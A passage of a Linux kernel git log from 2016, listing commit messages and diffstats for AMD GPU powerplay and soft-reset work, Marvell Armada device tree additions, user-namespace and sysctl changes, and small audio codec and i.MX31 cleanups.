deletions(-) commit 70bb246154229550e5c9095d484b39fb82047907 Author: Alex Deucher Date: Thu Jul 28 13:35:42 2016 -0400 drm/amdgpu/powerplay: enable powerplay by default on TOPAZ Now that the implementation is complete. Acked-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 3c18266cffc9741e1982005034a0a3494acbdf86 Author: Huang Rui Date: Tue Jul 26 16:38:36 2016 +0800 drm/amd/powerplay: add DPM running checking back This patch adds DPM running checking back, because the DPM issue is fixed. Signed-off-by: Huang Rui Reviewed-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 2 -- 1 file changed, 2 deletions(-) commit db7992d8205cb5fce806dac5d818e75669b35f11 Author: Huang Rui Date: Tue Jul 26 16:33:41 2016 +0800 drm/amd/powerplay: add enabling voltage controller back Signed-off-by: Huang Rui Reviewed-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 2 -- 1 file changed, 2 deletions(-) commit f6bf6dcaab35ba6de4a41de05271bf567ea4cadd Author: Huang Rui Date: Tue Jul 26 16:25:57 2016 +0800 drm/amd/powerplay: set the platform capability flags for iceland Signed-off-by: Huang Rui Reviewed-by: Ken Wang Signed-off-by: Alex Deucher .../gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 51 ++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit e4e2c8f29a343953f0ff31bd2775b73cd8c07a4c Author: Huang Rui Date: Tue Jul 26 15:57:07 2016 +0800 drm/amd/powerplay: add deep sleep initialization This patch adds the deep sleep initialization at DPM, it needs send a message to SMC to enable this feature before enable voltage controller. Signed-off-by: Huang Rui Reviewed-by: Ken Wang Signed-off-by: Alex Deucher .../gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 34 ++++++++++++++++++++++ 1 file changed, 34 insertions(+) commit 9f7aab6fd396dcb7dacee152784ddf9c2f9b0e8b Author: Huang Rui Date: Tue Jul 26 16:42:11 2016 +0800 drm/amd/powerplay: fix the incorrect checking condition Signed-off-by: Huang Rui Reviewed-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 54c825a9166f0c13aa4044500910633105a7e6a7 Author: Huang Rui Date: Mon Jun 20 13:35:28 2016 +0800 drm/amdgpu: enable iceland powerplay manually It's able to enable iceland powerplay manually via the module parameter. The default state is disabled. Signed-off-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 025f8bfb84cbcaa78df31ab00d7e3c5f979e9e27 Author: Huang Rui Date: Tue Jul 12 15:45:12 2016 +0800 drm/amd/powerplay: add iceland HW manager This patch introduces the iceland HW manager of powerplay which includes HW manager, clockpowergating, thermal, and powertune. Signed-off-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/Makefile | 4 +- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 4 + .../amd/powerplay/hwmgr/iceland_clockpowergating.c | 119 + .../amd/powerplay/hwmgr/iceland_clockpowergating.h | 38 + .../gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 5617 ++++++++++++++++++++ .../gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.h | 424 ++ .../drm/amd/powerplay/hwmgr/iceland_powertune.c | 491 ++ .../drm/amd/powerplay/hwmgr/iceland_powertune.h | 74 + .../gpu/drm/amd/powerplay/hwmgr/iceland_thermal.c | 595 +++ .../gpu/drm/amd/powerplay/hwmgr/iceland_thermal.h | 58 + 10 files changed, 7423 insertions(+), 1 deletion(-) commit d550df0b60d444e446afba00c41894bf350de4c0 Author: Huang Rui Date: Tue Jul 12 00:52:24 2016 +0800 drm/amd/powerplay: add iceland_dyn_defaults header Signed-off-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher .../drm/amd/powerplay/hwmgr/iceland_dyn_defaults.h | 41 ++++++++++++++++++++++ 1 file changed, 41 insertions(+) commit 2435b0547c8413094a4493593542d87ae48a15c6 Author: Huang Rui Date: Mon Jun 20 00:42:01 2016 +0800 drm/amd/powerplay: add iceland SMU mananger The system management unit (SMU) is a subcomponent of the northbridge that is responsible for a variety of system and power management tasks during boot and runtime for GPU. In powerplay, it will be used on firmware loading and power task management. This patch adds SMU mananger for iceland. Signed-off-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/Makefile | 3 +- .../gpu/drm/amd/powerplay/smumgr/iceland_smumgr.c | 713 +++++++++++++++++++++ .../gpu/drm/amd/powerplay/smumgr/iceland_smumgr.h | 64 ++ drivers/gpu/drm/amd/powerplay/smumgr/smumgr.c | 4 + 4 files changed, 783 insertions(+), 1 deletion(-) commit d31d3c28c77e25990ea295c1536253043c7b255c Author: Huang Rui Date: Tue Jun 21 10:26:26 2016 +0800 drm/amd/powerplay: add SMU71 header files for iceland (v2) v2: cleanup headers, add copyright Signed-off-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/inc/smu71.h | 510 +++++++++++++++++ drivers/gpu/drm/amd/powerplay/inc/smu71_discrete.h | 631 +++++++++++++++++++++ 2 files changed, 1141 insertions(+) commit 37ac235bf8c8a44c6c5aa8b03ab3d5ad23f64cef Author: Christian König Date: Tue Jul 26 09:58:45 2016 +0200 drm/amdgpu: use amdgpu_bo_create_kernel in amdgpu_ring.c Saves us quite a bunch of code. Signed-off-by: Christian König Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ring.c | 27 +++++---------------------- 1 file changed, 5 insertions(+), 22 deletions(-) commit c6f4439ce669f4ffaf5ac5254ad477befc03458a Author: Christian König Date: Mon Jul 25 18:06:30 2016 +0200 drm/amdgpu: use amdgpu_bo_create_kernel in amdgpu_ih.c Saves us quite a bunch of code. Signed-off-by: Christian König Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ih.c | 27 +++++---------------------- 1 file changed, 5 insertions(+), 22 deletions(-) commit 4b62e697777d79c88c61a2cdb826a6c413052a09 Author: Christian König Date: Mon Jul 25 17:37:38 2016 +0200 drm/amdgpu: user amdgpu_bo_create_kernel for the UVD BO Saves us some code. Signed-off-by: Christian König Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c | 31 +++---------------------------- 1 file changed, 3 insertions(+), 28 deletions(-) commit cdb7e8f2733579e35ec2883bde7b594d07ad67e9 Author: Christian König Date: Mon Jul 25 17:56:18 2016 +0200 drm/amdgpu: add more warning to amdgpu_bo_offset Warn when we try to get the address and the BO isn't locked or reserved. Signed-off-by: Christian König Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 18 ++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_object.h | 16 +--------------- 2 files changed, 19 insertions(+), 15 deletions(-) commit 78bbbd9c0fcde51b56c5bec99dd286cbad698712 Author: Christian König Date: Mon Dec 14 13:23:57 2015 +0100 drm/amdgpu: pin shared GWS, GDS and OA resources They can't move anyway, but just to be clean here. Signed-off-by: Christian König Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v7_0.c | 21 +++++++++------------ drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 21 +++++++++------------ 2 files changed, 18 insertions(+), 24 deletions(-) commit 7c204889dec5e745cdcc174388fa3aa824e75160 Author: Christian König Date: Mon Dec 14 13:18:01 2015 +0100 drm/amdgpu: add new helper for in kernel allocations We often allocate, pin and map things at the same time in the kernel. Signed-off-by: Christian König Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 63 ++++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_object.h | 4 ++ 2 files changed, 67 insertions(+) commit 81e04e1809057128abe1b996ca7bc0cbb38e56c9 Author: Chunming Zhou Date: Wed Jul 20 13:42:25 2016 +0800 drm/amdgpu: add dce10 check_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 115933a57779ec453a629331d08bb8e8d124f0d5 Author: Chunming Zhou Date: Mon Jul 18 17:38:50 2016 +0800 drm/amdgpu: implement vce3 check/post_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 115 +++++++++++++++++++++++++++++++--- 2 files changed, 109 insertions(+), 7 deletions(-) commit fc0b3b90b7e8c761372edc9d5661d0c4421ac116 Author: Chunming Zhou Date: Mon Jul 18 17:18:01 2016 +0800 drm/amdgpu: implement UVD6 check/pre/post_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 - drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 71 ++++++++++++++++++++++++++++-- 3 files changed, 69 insertions(+), 4 deletions(-) commit 1015a1b1750e578868a96d812d388d3c65d7faaf Author: Chunming Zhou Date: Mon Jul 18 17:02:57 2016 +0800 drm/amdgpu: implement vi ih check/pre/post_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 - drivers/gpu/drm/amd/amdgpu/amdgpu_irq.h | 1 + drivers/gpu/drm/amd/amdgpu/tonga_ih.c | 49 ++++++++++++++++++++++++++++-- 3 files changed, 48 insertions(+), 3 deletions(-) commit 50b0197abfa062d05f5f14a94e04ed7fd45cb003 Author: Chunming Zhou Date: Mon Jul 18 16:59:24 2016 +0800 drm/amdgpu: implement gmc8 check/pre/post_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 ++ drivers/gpu/drm/amd/amdgpu/gmc_v8_0.c | 59 +++++++++++++++++++++++++++++------ 2 files changed, 51 insertions(+), 10 deletions(-) commit e702a68051b174e87df62bbc0204809b5c1ba3e5 Author: Chunming Zhou Date: Wed Jul 13 10:28:56 2016 +0800 drm/amdgpu: implement sdma3 check/pre/post_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 - drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 80 +++++++++++++++++++++++++----- 3 files changed, 68 insertions(+), 14 deletions(-) commit e4ae0fc3363191f31fb9627fff9f88d43523aac7 Author: Chunming Zhou Date: Fri Jul 15 16:24:25 2016 +0800 drm/amdgpu: implement gfx8 post_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 - drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 44 ++++++++++++++++++++++++++++++ 2 files changed, 44 insertions(+), 1 deletion(-) commit 35d782feae7f0b817016315d8718a82c61968894 Author: Chunming Zhou Date: Fri Jul 15 15:57:13 2016 +0800 drm/amdgpu: add amdgpu soft reset Check gpu status first, if MC/VMC/DISPLAY hang, directly triger full reset. If engine hangs, then triger engine soft reset, if soft reset fails, will fallback to full reset. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 104 ++++++++++++++++++++++++----- drivers/gpu/drm/amd/include/amd_shared.h | 2 + 2 files changed, 88 insertions(+), 18 deletions(-) commit 1057f20c2252c5eba17e4a9bbf74ea990411f46c Author: Chunming Zhou Date: Fri Jul 15 15:18:25 2016 +0800 drm/amdgpu: add gfx8 pre soft reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 58 +++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) commit d31a501ead7fb21b85c6f34a9dd79b07c6417711 Author: Chunming Zhou Date: Mon Jul 18 10:04:34 2016 +0800 drm/amdgpu: add pre_soft_reset ip func It will be used before soft_reset to do some preparing work for reset. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 17 +++++++++++++++++ drivers/gpu/drm/amd/include/amd_shared.h | 2 ++ 2 files changed, 19 insertions(+) commit 3d7c63849072747eaba6b5d35671bd9cd2d002c1 Author: Chunming Zhou Date: Fri Jul 15 11:28:30 2016 +0800 drm/amdgpu: implement gfx8 check_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4 + drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 133 ++++++++++++++++++++-------------- 2 files changed, 82 insertions(+), 55 deletions(-) commit 63fbf42f7307a5911237fed3285e669d9d4d0d1a Author: Chunming Zhou Date: Fri Jul 15 11:19:20 2016 +0800 drm/amdgpu: add check_soft_reset ip func It is used to identify if the ip block is hang. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 23 +++++++++++++++++++++++ drivers/gpu/drm/amd/include/amd_shared.h | 2 ++ 3 files changed, 26 insertions(+) commit d1cc3d921320c15689e3a619cb95970ce194cb86 Author: Thomas Petazzoni Date: Tue Jul 19 14:04:31 2016 +0200 arm64: defconfig: enable xhci-platform Some ARM64 platforms (for example the Marvell Armada 7K/8K) use the generic XHCI platform driver, so it makes sense to enable CONFIG_USB_XHCI_PLATFORM=y in the defconfig to support XHCI on such platforms. Signed-off-by: Thomas Petazzoni arch/arm64/configs/defconfig | 1 + 1 file changed, 1 insertion(+) commit c4f83aae837408ba65663cfef2454c44a710de0f Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:05 2016 +0200 ARM: mvebu: enable UBI and UBIFS in mvebu_v7_defconfig UBIFS is commonly used on Marvell EBU v7 platforms to store the root file-system, so it makes sense to have those options enabled by default in mvebu_v7_defconfig. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/configs/mvebu_v7_defconfig | 2 ++ 1 file changed, 2 insertions(+) commit 862d56398d231fe496d15ccfed90e3305d69b98c Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:04 2016 +0200 ARM: mvebu: enable MTD command line partition table in mvebu_v7_defconfig Marvell EBU v7 platforms contain various MTD devices, therefore it makes sense to allow configuring the MTD partition tables via the kernel command line. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/configs/mvebu_v7_defconfig | 1 + 1 file changed, 1 insertion(+) commit 72dce368926167811c10ef094deba524e1ca274f Author: Adam Thomson Date: Mon Aug 8 15:35:24 2016 +0100 ASoC: da7218: Improve driver efficiency with regards to MCLK usage Currently MCLK remains enabled during bias STANDBY state, and this is not necessary. This patch updates the code to handle enabling and disabling of MCLK, if provided, when moving between STANDBY and PREPARE states, therefore saving power when no active streams present. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7218.c | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) commit 8799af0d823512c2ce6ba52259dedfebc84793e2 Author: Adam Thomson Date: Mon Aug 8 15:35:23 2016 +0100 ASoC: da7218: Remove 32KHz PLL mode from driver Functionality has been removed in latest silicon variants. This patch removes the feature from the driver to align. Signed-off-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7218.c | 12 +++--------- sound/soc/codecs/da7218.h | 2 -- 2 files changed, 3 insertions(+), 11 deletions(-) commit 35664512358115f2ddefbff2769af5d3cbe554f1 Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:20 2016 +0200 ARM: dts: mvebu: armada-395-gp: add support for the Armada 395 GP Board This commit adds description for the following features for this board: - Serial port - PCIe interfaces - USB2.0 - USB3.0 - SDIO - 1024 MiB NAND-FLASH - SATA - I2C buses Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Acked-by: Rob Herring Signed-off-by: Gregory CLEMENT .../devicetree/bindings/arm/marvell/armada-39x.txt | 4 + arch/arm/boot/dts/armada-395-gp.dts | 163 +++++++++++++++++++++ 2 files changed, 167 insertions(+) commit 0c2123a69e06488f9328aec9f3ee99948002483d Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:19 2016 +0200 ARM: dts: mvebu: armada-390-db: add support for the Armada 390 DB board This commit adds description for following features for this board: - Serial port - I2C buses - 16MB SPI-NOR - USB2.0 - USB3.0 - PCIe interfaces Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-390-db.dts | 175 ++++++++++++++++++++++++++++++++++++ 1 file changed, 175 insertions(+) commit dacf5f546598fefa6fe8b4c6d5e7eb05326863e3 Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:18 2016 +0200 ARM: dts: mvebu: armada-398-db: enable supported usb interfaces The Marvell Armada 398 Development board contains both USB2.0 and USB3.0 ports, which can be handled by existing drivers. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-398-db.dts | 8 ++++++++ 1 file changed, 8 insertions(+) commit d2dd856e8c21083560e92ded3e81a6b28cedef2b Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:17 2016 +0200 ARM: dts: mvebu: armada-398: update the dtsi about missing interfaces Beside interfaces described in the armada-39x.dtsi and armada-395.dtsi, the Armada 398 SoC family supports 2 additional SATA port (2 ports in one unit) Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-398.dtsi | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit eebead7853de56809ddd16aea5e5cddba286175e Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:16 2016 +0200 ARM: dts: mvebu: armada-395: add support for the Armada 395 SoC family Beside interfaces described in the armada-39x.dtsi, the Armada 395 SoC family supports: 2 x SATA3 (2 ports in one unit) and the USB3.0 Signed-off-by: Grzegorz Jaszczyk Acked-by: Rob Herring Signed-off-by: Gregory CLEMENT .../devicetree/bindings/arm/marvell/armada-39x.txt | 11 +++- arch/arm/boot/dts/armada-395.dtsi | 76 ++++++++++++++++++++++ 2 files changed, 85 insertions(+), 2 deletions(-) commit daab54316b957c12f097a7b133f96b8ba031bdd6 Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:15 2016 +0200 ARM: dts: mvebu: armada-39x: enable rtc for all Armada-39x SoCs Despite that FS states that rtc is present only in A395 and A398 and not in A390, the rtc is working with A390. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-39x.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit d81a914fc630fe969a71f6f275cb66e232c1f71d Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:13 2016 +0200 ARM: dts: mvebu: armada-39x: add missing nodes describing GPIO's The whole Armada 39x SoC family of processors has GPIO's which all can be supported with existing driver. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-39x.dtsi | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 100a20a9ff895297115b8359b0ed858faa3d4e44 Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:12 2016 +0200 ARM: dts: mvebu: armada-39x: enable watchdog for all Armada-39x SoCs The whole Armada 39x SoC family of processors has watchdog which can be supported with existing driver. Signed-off-by: Grzegorz Jaszczyk Reviewed-by: Lior Amsalem Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-39x.dtsi | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 16ae883151ab64ebd0cdf8436e794df26bae2e24 Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:11 2016 +0200 ARM: dts: mvebu: armada-39x: enable the thermal sensor in Armada-39x SoCs The whole Armada 39x SoC family of processors has thermal sensor which can be supported with existing driver. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-39x.dtsi | 6 ++++++ 1 file changed, 6 insertions(+) commit 8deebf8b8a8323cfa590e9ea1a1507abe12d75e0 Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:10 2016 +0200 ARM: dts: mvebu: armada-39x: enable PMU, CA9 SoC Controller and Coherency fabric This commit enables: - CA9's Performance Monitor Unit - CA9 MPcore SoC Controller - Coherency fabric on Armada 39x, basing on the Armada 38x (which has the same CA9 CPU). Signed-off-by: Grzegorz Jaszczyk Reviewed-by: Lior Amsalem Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-39x.dtsi | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 39f3c23f51cdd0dfe9ef5a618f14060f4003909e Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:09 2016 +0200 ARM: dts: mvebu: armada-39x: update the SDHCI node on Armada 39x Commit 1140011ee9d9 ("mmc: sdhci-pxav3: Modify clock settings for the SDR50 and DDR50 modes") has extended the Device Tree binding used to describe PXAv3 SDHCI controllers in order to be able to use the SDR50 and DDR50 modes. This commit updates the Device Tree description of the Armada 39x SDHCI controller in other to take advantage of this functionality. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-39x.dtsi | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 061492cfad9f11dbc32df741a7164f307b69b6e6 Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:08 2016 +0200 ARM: dts: mvebu: armada-390: add missing compatibility string and bracket The armada-390.dtsi was broken since the first patch which adds Device Tree files for Armada 39x SoC was introduced. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Cc: # 4.0+ Fixes 538da83 ("ARM: mvebu: add Device Tree files for Armada 39x SoC and board") Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-390.dtsi | 3 +++ 1 file changed, 3 insertions(+) commit 4ec17292a9a0b9cf7eb43f59aa638fbbbe66467e Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:07 2016 +0200 ARM: dts: mvebu: a385-db-ap: add default partition description for NAND The Armada 385 Access Point Development board contains NAND FLSH which is already enabled in existing dts. Nevertheless the default partition description was missing. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-385-db-ap.dts | 26 +++++++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) commit b583e291ba282d0d9851d4c95a234979f5a90e63 Author: Grzegorz Jaszczyk Date: Thu Aug 4 12:14:06 2016 +0200 ARM: dts: mvebu: a385-db-ap: enable USB (orion-ehci) port The Armada 385 Access Point Development board contains USB port, which can be handled by existing orion-ehci driver. Signed-off-by: Grzegorz Jaszczyk Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-385-db-ap.dts | 4 ++++ 1 file changed, 4 insertions(+) commit b032132c3c218f4a09e9499b3674299a752581c6 Author: Eric W. Biederman Date: Sat Jul 30 13:53:37 2016 -0500 userns: Free user namespaces in process context Add the necessary boiler plate to move freeing of user namespaces into work queue and thus into process context where things can sleep. This is a necessary precursor to per user namespace sysctls. Signed-off-by: "Eric W. Biederman" include/linux/user_namespace.h | 5 +++-- kernel/user_namespace.c | 14 +++++++++++--- 2 files changed, 14 insertions(+), 5 deletions(-) commit 13bcc6a2853435bb5dad368bcbaa9d2a5b9c0ac4 Author: Eric W. Biederman Date: Sat Jul 16 15:22:55 2016 -0500 sysctl: Stop implicitly passing current into sysctl_table_root.lookup Passing nsproxy into sysctl_table_root.lookup was a premature optimization in attempt to avoid depending on current. The directory /proc/self/sys has not appeared and if and when it does this code will need to be reviewed closely and reworked anyway. So remove the premature optimization. Acked-by: Kees Cook Acked-by: Serge Hallyn Signed-off-by: "Eric W. Biederman" fs/proc/proc_sysctl.c | 14 +++++++------- include/linux/sysctl.h | 3 +-- net/sysctl_net.c | 4 ++-- 3 files changed, 10 insertions(+), 11 deletions(-) commit 55877f58b0be83a4ffb4639a83f99c28df418e3e Author: Stefan Roese Date: Wed Jul 13 11:55:19 2016 +0200 ARM: dts: mvebu: armada-370-xp: Add MBus mappings for all SPI devices This patch adds the static MBus mappings for all supported SPI devices (8 per controller) for the direct access SPI mode. They can be configured and enabled by setting these MBus mapping in the 'ranges' property of the per-board 'soc' node. If nothing is changed here, the default 'normal' (indirect) SPI mode is used. Signed-off-by: Stefan Roese Cc: Thomas Petazzoni Cc: Gregory CLEMENT Cc: Andrew Lunn Cc: Jason Cooper Cc: Mark Brown Cc: Arnd Bergmann Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-370-xp.dtsi | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) commit 0160a4b68987ef8df1d57529d13be7ed4f674374 Author: Stefan Roese Date: Wed Jul 13 11:55:18 2016 +0200 ARM: dts: mvebu: A37x/XP/38x/39x: Move SPI controller nodes into 'soc' node This patch moves all Armada 370/XP/38x/39x SPI controller nodes from the 'internal-regs' node down into the 'soc' node. This is in preparation to enable the usage of the SPI direct access mode. A follow-up patch will add the static MBus mappings for the SPI devices into the 'reg' property of the SPI controller DT node. By moving these SPI controller nodes, this patch also makes use of the labels rather than keeping the tree structure. Signed-off-by: Stefan Roese Cc: Thomas Petazzoni Cc: Gregory CLEMENT Cc: Andrew Lunn Cc: Jason Cooper Cc: Mark Brown Cc: Arnd Bergmann Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-370-db.dts | 29 +++--- .../dts/armada-370-seagate-personal-cloud.dtsi | 40 ++++---- arch/arm/boot/dts/armada-370-synology-ds213j.dts | 112 ++++++++++----------- arch/arm/boot/dts/armada-370-xp.dtsi | 40 ++++---- arch/arm/boot/dts/armada-370.dtsi | 34 +++---- arch/arm/boot/dts/armada-385-db-ap.dts | 28 +++--- arch/arm/boot/dts/armada-385-linksys.dtsi | 9 +- arch/arm/boot/dts/armada-388-clearfog.dts | 48 ++++----- arch/arm/boot/dts/armada-388-db.dts | 25 ++--- arch/arm/boot/dts/armada-388-gp.dts | 30 +++--- arch/arm/boot/dts/armada-388-rd.dts | 25 ++--- arch/arm/boot/dts/armada-38x.dtsi | 48 ++++----- arch/arm/boot/dts/armada-398-db.dts | 48 ++++----- arch/arm/boot/dts/armada-39x.dtsi | 48 ++++----- arch/arm/boot/dts/armada-xp-axpwifiap.dts | 24 ++--- arch/arm/boot/dts/armada-xp-db.dts | 24 ++--- arch/arm/boot/dts/armada-xp-gp.dts | 24 ++--- arch/arm/boot/dts/armada-xp-linksys-mamba.dts | 24 ++--- arch/arm/boot/dts/armada-xp-synology-ds414.dts | 112 ++++++++++----------- arch/arm/boot/dts/armada-xp.dtsi | 27 +++-- 20 files changed, 398 insertions(+), 401 deletions(-) commit 1113603e39b1ea10d02f97c86c25d57b971cb470 Author: Stefan Roese Date: Wed Jul 13 11:55:17 2016 +0200 ARM: dts: mvebu: Add SPI1 pinctrl defines for Armada XP This patch defines and uses common Armada XP pinctrl settings in armada-xp.dtsi for the SPI1 interface (MPP13,14,16,17). Signed-off-by: Stefan Roese Reviewed-by: Thomas Petazzoni Cc: Gregory CLEMENT Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-xp.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit d7b5ccc9fc99d16d160d079c26e48f0b2c7b6237 Author: Alexander Kurz Date: Sat Jul 2 14:02:31 2016 +0200 ARM: i.MX31 iomux: remove duplicates with alternate name Three iomux were accessinble with two distinct names, typo? Remove the unused duplicates and fix the typo. Signed-off-by: Alexander Kurz Signed-off-by: Shawn Guo arch/arm/mach-imx/iomux-mx3.h | 3 --- arch/arm/mach-imx/mach-pcm037.c | 2 +- 2 files changed, 1 insertion(+), 4 deletions(-) commit dd19e828ce1b36cec818dc94dd564fe8da0ff062 Author: Alexander Kurz Date: Sat Jul 2 14:02:30 2016 +0200 ARM: i.MX31 iomux: remove plain duplicates No need to define some of the iomux twice, remove the duplicates. Signed-off-by: Alexander Kurz Signed-off-by: Shawn Guo arch/arm/mach-imx/iomux-mx3.h | 31 